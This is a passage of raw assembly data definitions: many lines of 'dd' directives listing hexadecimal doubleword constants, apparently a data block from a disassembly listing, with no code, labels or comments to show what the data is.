		dd 0A300B734h, 3D43B0BBh, 207E49Fh, 3A1A3E48h, 2740240Fh
		dd 1F71FAACh, 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h
		dd 5780BC08h, 8AB8AE30h, 3101430Bh, 0E1DA424Fh,	87CC7B9Ch
		dd 0F19402E9h, 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah
		dd 3C9100D9h, 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah
		dd 0F42CF028h, 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h
		dd 12140037h, 3FB24BDCh, 5E006C24h, 0FC7778E0h,	88BE84h
		dd 0CF39C307h, 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah
		dd 3C703389h, 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h
		dd 0F5F2583Bh, 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h
		dd 63A5FC87h, 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h
		dd 1D720201h, 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h
		dd 94004974h, 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh
		dd 3A51F60Eh, 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h
		dd 0CEBAE680h, 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h
		dd 37E0018Eh, 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h
		dd 213B121Fh, 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh
		dd 43FA0729h, 0F04F6500h, 7BF86E6Ch, 9C3200B8h,	1F06267Ch
		dd 0BF0293B3h, 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h
		dd 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh
		dd 0B8C9AB30h, 1A03093Ah, 5E08D00Fh, 5D78A835h,	2469000Bh
		dd 0FCBC7AD2h, 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h
		dd 83A295D5h, 3F2F7A0h,	740068F0h, 783E9822h, 574946h
		dd 259B3FA8h, 41E462A5h, 0F8FEAC00h, 9354338Fh,	0ECEA01F6h
		dd 3904F0F5h, 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h
		dd 406E3CAAh, 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh
		dd 167C0094h, 28AED94Ch, 9302F27Eh, 0F9B0A6C9h,	761350B6h
		dd 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h
		dd 0C08C5056h, 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h
		dd 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h, 20D1140Fh,	2FE140D9h
		dd 7F13BE9h, 6C0B2B44h,	7BC0BE58h, 0FCB778A0h, 79DC300h
		dd 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h
		dd 22A95Bh, 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h
		dd 8C084C78h, 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh
		dd 5D3E0157h, 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h
		dd 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh
		dd 80E79FA4h, 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h
		dd 58B88EC9h, 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h
		dd 48058F80h, 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h
		dd 0A044128Eh, 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h
		dd 28050790h, 4BF045ECh, 0A2923C80h, 0F6F034Fh,	88CF815Ch
		dd 0ADCBA390h, 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah
		dd 2B78C96Dh, 598D1609h, 0A2B11214h, 3FDA3F94h,	58FC00F2h
		dd 3A1939ECh, 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh
		dd 96351EC9h, 973E803Ch, 95AAC277h, 0B87E7170h,	0C3E203AAh
		dd 6F2FD30h, 0AF7462D8h, 9B74E04h, 27B0D044h, 0F9E4E5h
		dd 5F1DFF4Ch, 8952640Eh, 560241EAh, 3881E975h, 2EB541Ch
		dd 22C12EB3h, 428336E0h, 21A3181Eh, 35C32AC0h, 0F583BD2h
		dd 0F575AF8h, 92CF7DE0h, 610FAAC9h, 0F9BDE8h, 0FCF4BC34h
		dd 38390008h, 3B2D3A12h, 4B003C43h, 9F905524h, 1274976Ch
		dd 2C918C2h, 0E2E112C4h, 390CE440h, 3C70142Ch, 0DA834500h
		dd 0FE60D353h, 12F0036Ch, 814FEEB8h, 0F3D80AE8h, 0F100DD72h
		dd 70D0FDF2h, 4B7445B0h, 5B4EC03Eh, 5D00667Ah, 803F7E6Fh
		dd 0EC18B25h, 0A6F99FCEh, 0E28B043h, 0E005C2D9h, 1E0392D8h
		dd 20B449EAh, 0C02CEA3Bh, 0F416Fh, 61574B4Dh, 93F985FAh
		dd 2C6440C0h, 197ECh, 173C07A2h, 41D122C9h, 2452D900h
		dd 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh, 996E80CCh, 9F0FA34Eh
		dd 0BD3C3Bh, 0C1C725C2h, 0F9D11C60h, 3ADB9DD6h,	3E6AF880h
		dd 83747972h, 0BA934800h, 133F0AC2h, 5FE870h, 767C0F45h
		dd 0A68F854Fh, 3E3CF39h, 900EDCF5h, 70409801h, 4E0F018Eh
		dd 582D8921h, 0E0B4F5FAh
		dd 760EC359h, 4E86F379h, 0F29F808Eh, 4DECE9A4h,	0F13082B9h
		dd 72310C89h, 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh
		dd 99F85EECh, 0AC3825C0h, 6005070Bh, 0E6C593CEh, 2504180h
		dd 0C314034Fh, 5DB3285Ah, 0B2D381A8h, 0F2BBE309h, 5CD880E6h
		dd 486E2D2Ah, 580570FAh, 0F0817C90h, 4E019555h,	0BF5E0F9Eh
		dd 0D6C9C9CFh, 72C2DECCh, 0FA702C60h, 765D06AEh, 27008D7Bh
		dd 0D9F641C1h, 7938E9F9h, 4B037946h, 7E5FCEEh, 853D7E58h
		dd 2E0591B0h, 16A101ABh, 0FCCFCE20h, 92F1C8DFh,	1101CC7Ah
		dd 84321E36h, 0F840563Bh, 22824Ch, 4F2A7063h, 8EF60F7Ch
		dd 98CF39h, 0C2A8CBA1h,	3A94E124h, 27AE38D3h, 1E200FC5h
		dd 0B3329201h, 0F0C14768h, 0F1A0E288h, 0C21F1200h, 0DF27C791h
		dd 0E2F8F641h, 72380F07h, 83E04E15h, 64C35CD8h,	0E26FD307h
		dd 0C69049B2h, 924D7F9h, 859FEDD6h, 5AFE9170h, 8056B03Ah
		dd 0F8A6F490h, 9A94ABh,	0AAA0D813h, 773A394Eh, 3E1E59F0h
		dd 4C0EC49h, 40900C3Dh,	423000BCh, 0ADA0997h, 1239E002h
		dd 8E76B857h, 409F84ECh, 98A8BB2Eh, 6B30FF3Fh, 9E100326h
		dd 5B133C9Dh, 7C27D400h, 6CC7D461h, 7405EE14h, 0F83B1F84h
		dd 84629F96h, 80F99EBAh, 4E740C38h, 9D9A2D38h, 6B805678h
		dd 0CFA2E80Fh, 0EECB00E5h, 34030E41h, 1CF81694h, 1700FDB8h
		dd 4A384929h, 395D9699h, 890083F9h, 0A1278A68h,	0B17BAC61h
		dd 0D26CCB00h, 6436DE2Eh, 184E00FCh, 78D82A49h,	3BF01EB8h
		dd 8756C23Bh, 30546C62h, 0C0D375A2h, 0EB53CAAh,	0E27E0E50h
		dd 95DF140h, 430E2506h,	63AF3487h, 14A4D9h, 3BA03AACh
		dd 3DB43CA5h, 0DE2CC91Fh, 3EB18404h, 58882A80h,	0FEDBFEDAh
		dd 1E3F4DFh, 0A861E725h, 71F3F9EFh, 6CFBD038h, 70EFA05h
		dd 0FD000D3Fh, 37CF258Eh, 4F3D380Fh, 1E558F9Eh,	0C96D8067h
		dd 4EC05881h, 50839502h, 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh
		dd 0E4000982h, 1B11C4F1h, 3C533Bh, 3E5B3D57h, 4E63265Fh
		dd 0C26B9200h, 50698074h, 0C4C2A09Ch, 36AF4B8h,	0F6C97831h
		dd 1000D9BDh, 2775760Bh, 64B5E0h, 3ADCAC4Dh, 1C5A2472h
		dd 351A8500h, 0BC9093A7h, 0DBC600A2h, 37163896h, 76001D04h
		dd 0C8C50C17h, 8DF40Fh,	6CE1918Bh, 539DF999h, 0F2A5FC00h
		dd 0C5FEA7A9h, 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh
		dd 0C08CF872h, 8EC19Eh,	90093E82h, 4F92F08Ah, 7C42E6E5h
		dd 0A27E3A40h, 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h
		dd 987A9CD8h, 7E0EACFAh, 0E0E959C0h, 253A110Eh,	3BFA005Fh
		dd 3D613C4Dh, 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch
		dd 6CAB9Ch, 9302F624h, 8600C218h, 0C0E48457h, 9085E808h
		dd 4E5D2C33h, 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h
		dd 0A4392EDDh, 0FDB0C7Bh, 311EF754h, 2D921C09h,	80418BC9h
		dd 2171FE4Dh, 33B01F28h, 0D1C300B9h, 344CD8D3h,	0AC394F2Eh
		dd 36E9A300h, 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh
		dd 4C35272Dh, 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h
		dd 0E5A31C00h, 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh
		dd 80508BB5h, 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h
		dd 0C23B3A84h, 305C8351h, 77937B1Fh, 70980186h,	34AC5D5Eh
		dd 0CA2D603Fh, 0DE08C102h, 0C0060F2Eh, 580A12h,	4A3074FEh
		dd 44F6C838h, 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h
		dd 0DC9270E8h, 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h
		dd 0E1ECB1E8h, 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h
		dd 9EA81D60h, 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h
		dd 9EC669D7h, 95A7C00h,	0A966374Fh, 968500A0h, 6E50920Eh
		dd 0CE0F7E49h, 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h
		dd 0BC6B4466h, 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h,	3DF28329h
		dd 0F0E947B2h, 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h
		dd 0BE443EC2h, 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh
		dd 0CF862C8Ah, 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h
		dd 2AE4D68Eh, 3D030013h, 260F097h, 7D003E2Fh, 3F217081h
		dd 4386C29h, 4C26453Bh,	500ABAEh, 0C811E088h, 39EA015Ch
		dd 2D663A2Fh, 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h
		dd 0F07E3409h, 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h
		dd 0F8009E1Ch, 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h
		dd 5EFCF04Dh, 0E4168800h, 5014C609h, 44762CD8h,	607A013Ch
		dd 0DC4B7B7Ch, 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h
		dd 0CC38C003h, 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h
		dd 0E82972E0h, 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h
		dd 0CC4C68D6h, 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h
		dd 0EF8020E9h, 509BB0E7h, 6898B038h, 101CEA00h,	2F92153Fh
		dd 0D6282CE0h, 8E9F03FEh, 32B009B6h, 6800C19Ch,	0D136C926h
		dd 3A49D93Eh, 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh
		dd 0C4B88098h, 0DAC954h, 50859DD3h, 15CAE0DDh, 2931260Fh
		dd 92626088h, 0AE8276h,	2C7C7E9Eh, 3249017Ah, 4D334200h
		dd 0EC3C80C9h, 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h
		dd 0DA300964h, 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h
		dd 169E5E1Dh, 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h
		dd 69385C12h, 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh
		dd 0C390516h, 17A34AC3h, 0C223B300h, 7E06702Fh,	525E0040h
		dd 0C968660Fh, 36094188h, 0D96C6494h, 69201EBh,	0CC4A74B0h
		dd 0E6724009h, 3A024200h, 2CC2104Eh, 70E8FC3Ch,	28682641h
		dd 2A8E3F4Bh, 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h
		dd 0AB0C1C0Bh, 0D3E640h, 58C98D5Eh, 880E3C20h, 0A00965E4h
		dd 0E3603E41h, 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch
		dd 0DE1C1072h, 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h
		dd 0D812EE0Bh, 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh
		dd 265081B7h, 3C019335h, 410E251Ch, 0E0306474h,	0E2E80030h
		dd 9682DC06h, 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh
		dd 0C8FA4D80h, 1C003E57h, 93713F46h, 0B4E179h, 0F4B12260h
		dd 0FCC7F8BCh, 58DDFF4Ch, 947C053Ch, 0C3C0FE80h, 901D31h
		dd 96849754h, 2E08BC1Ah, 25CA6F00h, 40E15E87h, 553800F4h
		dd 745B7239h, 8F704983h, 3EAE3D00h, 0EAF32CC6h,	1EC001B3h
		dd 46A2B92h, 0E956E4C1h, 4B00F1E2h, 0F24CE238h,	3824763Bh
		dd 3D80099Fh, 4E32D847h, 2E00C366h, 0DC94D28Ch,	279C122Ch
		dd 4DC19E83h, 4A1670F2h, 96B41F07h, 893C2F6h, 22929063h
		dd 0B29D0043h, 7CD07054h, 0BD007EB8h, 0C53F8917h, 74230B1h
		dd 7724F080h, 499E00D2h, 0E100D6FAh, 6807E9F5h,	3263A66h
		dd 3CE42B24h, 0D9B88F3Dh, 2D3E93BCh, 0EC560BA0h, 0B575815Eh
		dd 0E7F8FA07h, 0F9E405F1h, 0C05D6093h, 856449E8h, 27CA781Eh
		dd 0A17207C0h, 14E4ACE7h, 0BE76E0BBh, 38B4CE00h, 60A00A17h
		dd 89951A00h, 311C04B6h, 3C74B8BCh, 4F81613Dh, 0FC5BE434h
		dd 608E6163h, 0B7E2B0A5h, 98879703h, 93CEE7C4h,	0E4DAA0D5h
		dd 9CBC01E2h, 5804F32Dh, 2794DC09h, 8C07161Eh, 93FE8FC0h
		dd 0FE36323Fh, 7E8A3C70h, 3772007Fh, 8640A06Bh,	0A5E21CB4h
		dd 1DB89D00h, 15F09ECDh
		dd 2FFA002Dh, 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h
		dd 5602C11Dh, 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh
		dd 7449176Ch, 7C5E04D8h, 0C8B3C05Bh, 401C5070h,	1C014F0h
		dd 0EE300BA3h, 3A7C32h,	0F916640Ch, 2F34B8FDh, 0C6610500h
		dd 0E177310Dh, 0E3B0086h, 29ED25E0h, 560028CCh,	2E7353Fh
		dd 741C53Dh, 0FC4992A0h, 0FD51204Dh, 59008C20h,	611FFA94h
		dd 76593h, 25923B98h, 9A08E002h, 380A9C00h, 1FEC824Ah
		dd 0F77A48DEh, 987C4B00h, 76165C26h, 96308312h,	0ACFA4A00h
		dd 12B0D4h, 0BC684FB4h,	7678C0CBh, 75C85B3Bh, 50F08B00h
		dd 87F84ACAh, 3F032772h, 0C200D4ECh, 7E265814h,	48204A1Ch
		dd 0F413F68Bh, 28EEE292h, 6000FAB7h, 68E564E7h,	3E70DE4Ah
		dd 0B9935EE0h, 3EBEA0A8h, 0B41A0F00h, 6AA7B8C9h, 0C4E400C0h
		dd 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh, 0EB250C9h, 40C61F0h
		dd 0C32A08E0h, 14E6104Ch, 0E318D300h, 0F020F21Ch, 285B0086h
		dd 79FBD0C7h, 580E71D2h, 46FA5CF9h, 8AE548h, 7CFC78A0h
		dd 8416A29Ch, 8CE8F012h, 13EA5700h, 0B682B4h, 0CCE058C0h
		dd 88D860C9h, 2305E71Dh, 2D01BC9Fh, 0C0C83166h,	0C93CCCh
		dd 0F0686F40h, 4F2EFD64h, 81709E3Dh, 7CECC174h,	84C880F9h
		dd 2FE60078h, 9404418Ch, 65A2E7Ah, 0E3C0F5C3h, 760CE2C4h
		dd 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh, 2C5FAA70h,	3C100905h
		dd 94A87C78h, 0E15C8A00h, 74F96C12h, 84222F00h,	44AE568Ch
		dd 0AAAC01A4h, 0A661B425h, 588240C4h, 0BF63064h, 0A4701A00h
		dd 0B8E884D2h, 0B8C752Dh, 16FC9462h, 0B84970h, 0A803A47Dh
		dd 6FB02CC1h, 7BB8F80Bh, 1C4107FEh, 0A02F3834h,	20704832h
		dd 0F5C5A00h, 6CCB689Ah, 2FF0747Bh, 0AB63DC79h,	96F441BFh
		dd 0C04630F8h, 8004353Eh, 0E164C611h, 0FA6CE968h, 0AEE70h
		dd 0E285B778h, 0B9E4BC80h, 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h
		dd 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h, 38800B3Eh, 7C7214D1h
		dd 4FDE00E4h, 0A0E68298h, 120036F4h, 0B0AA83A8h, 0F2B4F3h
		dd 4F48D0B8h, 96F69FC0h, 10609C00h, 18888597h, 206A3EB0h
		dd 28068480h, 64E808FDh, 1344BC01h, 740EF06Ch, 80A8C680h
		dd 88B00F2Fh, 588CC900h, 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh
		dd 0E090DC7Eh, 0B00E45Bh, 8650ECAEh, 3F0FF45Eh,	0E80FC76h
		dd 8490438h, 4A48EE58h,	18F00073h, 0F4561CE2h, 147B01Fh
		dd 162C9328h, 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h
		dd 4B854E4h, 602F5C3Fh,	15A00E03h, 85B6AB01h, 3FF013Bh
		dd 40E86090h, 0EB0E1506h, 87821144h, 2EB590DBh,	4D02E00Ah
		dd 44BB18DEh, 0DD039029h, 719D2B18h, 33BD8311h,	89AD30D8h
		dd 832E2FE9h, 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh
		dd 60897D31h, 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h
		dd 21FA4228h, 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h
		dd 0DF46EAA0h, 4C6D38ABh, 75264268h, 2A453AA3h,	0E853C70Ch
		dd 7F8B3774h, 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h,	0A3807623h
		dd 57E35036h, 850E0E8Dh, 7EF2C51h, 10AC3C0h, 2100409Ch
		dd 2002B063h, 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh
		dd 57E100E0h, 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh
		dd 0B0CC02Ah, 0A7A74DBh, 870003ECh, 89195985h, 318DF0h
		dd 831171B5h, 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h
		dd 141EFC99h, 9A063850h, 0EC305586h, 8B560D1Fh,	9D0309C5h
		dd 51A0BB05h, 2F29A03h,	6EBD8880h, 12D0070h, 85FE4C75h
		dd 8B0F0940h, 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h
		dd 535651A3h, 83BA00D5h, 0B55506E9h, 33173FE0h,	56000BDBh
		dd 1A781C03h, 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h
		dd 0C3831E29h, 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh
		dd 36104837h, 0F90CC1h,	8DA5F302h, 3C0377E1h, 535EA400h
		dd 809C5088h, 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h
		dd 64E402A9h, 0E10729FEh, 864B5595h, 2B0F1970h,	79D89DD0h
		dd 0E8C1C200h, 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh
		dd 834E548Bh, 0D17308h,	0ADCA7DACh, 0C107EF66h,	910CEB00h
		dd 9D7401FBh, 5002070Bh, 0C7033D16h, 2F2CF020h,	0E3001481h
		dd 79820FFFh, 0E604011Fh, 7E1D79D4h, 390EEEB2h,	8DBD462Dh
		dd 0B8E20200h, 61DC9ED9h, 128B4B0Ah, 6000E203h,	40C0850Ch
		dd 1539071h, 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h
		dd 29F016h, 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h
		dd 107AD8h, 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h
		dd 0A49900DBh, 62F759A2h, 802501ECh, 0F0F475h, 5653C543h
		dd 6500028Ah, 19B5AC7Fh, 0E6E8B850h, 755B0367h,	2A25A66Fh
		dd 0D28B57E0h, 83659839h, 31342BC7h, 99E9D842h,	4939012Ah
		dd 37DC3606h, 188EDC53h, 5A247500h, 0C1124AD3h,	140200E2h
		dd 3F7C0F63h, 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h
		dd 0EB5F2300h, 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch
		dd 0AF32E900h, 4A2D06E7h, 710E892h, 0D9141C0Ah,	0FEEBF0C1h
		dd 8500BA24h, 0A4506544h, 735B483Dh, 100400C2h,	61022F11h
		dd 0B81F0875h, 0C402201h, 32BF54Bh, 1C9300C3h, 0B715588Dh
		dd 0AC005051h, 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h
		dd 9400DB30h, 641A8B4Ah, 38D83D3Ch, 0C40283D0h,	306A5F10h
		dd 0E1468961h, 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh
		dd 43A57729h, 14959FEFh, 4CC2CE01h, 0F4391833h,	0AB10D4h
		dd 0AC4A4051h, 779F196Eh, 53D51E00h, 56D28D89h,	0E49B00F2h
		dd 68C598F0h, 0C73BC84Dh, 50D480DAh, 5C9CB6BEh,	31EEE4h
		dd 13B5A1Fh, 3733888Ah,	0EF60DA00h, 0BB86BC39h,	0E2EE006Fh
		dd 1072C6DCh, 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h
		dd 0CDD53940h, 0C8012301h, 79B62C09h, 0BFF1E4h,	17607C0Eh
		dd 0AB51E0FEh, 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h
		dd 587CC109h, 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h
		dd 80009F8Bh, 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h
		dd 6D009579h, 57B9D5E4h, 38DEA83h, 82B7CD0Fh, 7C00DBCh
		dd 0B103FD41h, 87A3972Ah, 8ACFE029h, 48240078h,	0B7EA61E9h
		dd 0D5EE7649h, 0F768441Dh, 0A1145080h, 0F2C4BC60h, 0C8E0027h
		dd 0A0656631h, 0BF00174Bh, 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh
		dd 0AD30EC57h, 0D548E5FAh, 56CB05FDh, 0C3BB4CF1h, 800A1DBh
		dd 0A575C410h, 8CDBEh, 31E18193h, 42CED970h, 0DE19DD1Fh
		dd 71959987h, 3F8F1CA0h, 4698003Dh, 0DB31A266h,	50030A8Eh
		dd 5DA8D0F7h, 59C6D05Ch, 24D51EC2h, 0B842CF0Ch,	0BD49E9C0h
		dd 8100262Dh, 62CDBB78h, 0A2023h, 0B0FCEC59h, 5C33F086h
		dd 0D79BE600h, 0ABE21B42h, 411C0060h, 5D740602h, 0F00ECC61h
		dd 7F834AC6h, 2FA2EC0Eh, 31472075h, 0D55E0Fh, 0B39E8D01h
		dd 0C78E62D4h, 5A1DCD00h, 0F5B2F9A4h, 0A22F6092h, 1C684ADEh
		dd 512E1E0Eh, 451A4069h, 0F430F8Ch, 0B82A844Eh,	0FA7B6C20h
		dd 0B400A860h, 768BC7DFh, 7DB91A0h, 179A270Ah, 487F006Bh
		dd 0EA038997h, 633644D0h, 1504E083h, 18CECDFh, 35586176h
		dd 0C46F24BFh, 0E63B5599h, 0EC2B0019h, 17685464h, 0A16A00D0h
		dd 0BB2624A3h, 0F47C76F0h
		dd 1DAFDB04h, 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh
		dd 737938h, 50D74341h, 6EC21Dh,	69EC54E7h, 1367D3B3h, 3E74EA1Eh
		dd 7B9D3700h, 0CEB45Ch,	62574738h, 33B5B6E9h, 61B30800h
		dd 31033CF3h, 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h
		dd 3CA1E837h, 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h
		dd 0B4FD6F4h, 7FDCC037h, 1B6C36Eh, 12E357A1h, 0CA01AA54h
		dd 53458EC0h, 4072200h,	0EC5FD244h, 0D3C80020h,	0A96D7C14h
		dd 2A01D9BCh, 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh
		dd 69C5ACA6h, 4A6F2500h, 2565E2Ah, 88F81410h, 1A00E4DAh
		dd 76A73E27h, 1301EB1Bh, 0C0CE492Ch, 92FCD780h,	15850056h
		dd 19D152BFh, 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h
		dd 0D449596Ch, 771D7C72h, 4E8F095Ah, 7EC0FD70h,	9207A7B1h
		dd 3FDC3E27h, 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh
		dd 0A8C26Dh, 6878AC54h,	0F73128F3h, 0B033C500h,	9B35B6B1h
		dd 0FC2DE6A8h, 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh
		dd 4FA0BCEDh, 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh
		dd 8846068Ah, 1E024707h, 9E0575D2h, 0CA129D16h,	500BEF73h
		dd 0C057334Ah, 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh
		dd 0F87C2B57h, 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh
		dd 5AB928E1h, 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh
		dd 0C1480282h, 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h
		dd 143F050Eh, 2140410Eh, 31811F0h, 777FF883h, 2C1A903h
		dd 2CF6155Dh, 0C90033A3h, 7401E8C0h, 6AD18312h,	0E21CB602h
		dd 5D07FEE7h, 552609B9h, 82618687h, 797008C2h, 7A8817E1h
		dd 39FE7C5Dh, 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h
		dd 0D636F16h, 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h
		dd 7AF16978h, 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h
		dd 41F00EFFh, 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh
		dd 6206E52h, 98707B9Eh,	50657AE5h, 6F643E70h, 375FB875h
		dd 2079C642h, 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh
		dd 874D3862h, 1EB7E261h, 6BFBEE38h, 0F7C779CBh,	2E63C66Dh
		dd 0B6B20CCh, 0DA727E62h, 51A76875h, 2C64D66Fh,	1E2BA2A3h
		dd 245E4375h, 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h
		dd 0FEF741F1h, 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh
		dd 0DF6F4C27h, 9F5394AEh, 67B3B4E7h, 4EA4A9B4h,	0EA00DF96h
		dd 10060h, 3C640000h, 8590000h,	5CC1F45Ch, 823B47DDh, 0CDA544FCh
		dd 0F7D7243Ah, 0BE8D6916h, 0C98F30F6h, 0B9659FBFh, 83AE2A40h
		dd 2E6573F5h, 0B11C1A6Eh, 233D17C5h, 811B9809h,	1CA9178Ah
		dd 0C320DEE8h, 0D9BD4304h, 0EA6BC182h, 93A6CA91h, 4C023C31h
		dd 49C2CB52h, 794C268Ch, 0CA606FB2h, 3F185120h,	0D9481F37h
		dd 0BC057A4Fh, 0C7F8D181h, 0C7C1178Eh, 801B4BB3h, 2B87D5CBh
		dd 0BBBACE71h, 0E3ED7A6Ah, 6DCE4824h, 359F5876h, 7F6DACFAh
		dd 76D55207h, 9BE15D6Fh, 29DB91DCh, 364829E4h, 57D438ECh
		dd 5A6641AEh, 7ED64765h, 80B94BEAh, 1B313B5Ch, 0E138D641h
		dd 6097DADCh, 0D60CADCDh, 0A280B380h, 0B77C1C69h, 43145EEFh
		dd 33568473h, 2E136F4Bh, 870126A1h, 6DC9B788h, 2FBDE64Dh
		dd 0EF6C4FAh, 8D5A60BAh, 790F330Ah, 564DF357h, 7F72852Ah
		dd 0F082A6FDh, 1CA38071h, 0C79FD279h, 0EEE6F220h, 468E74C7h
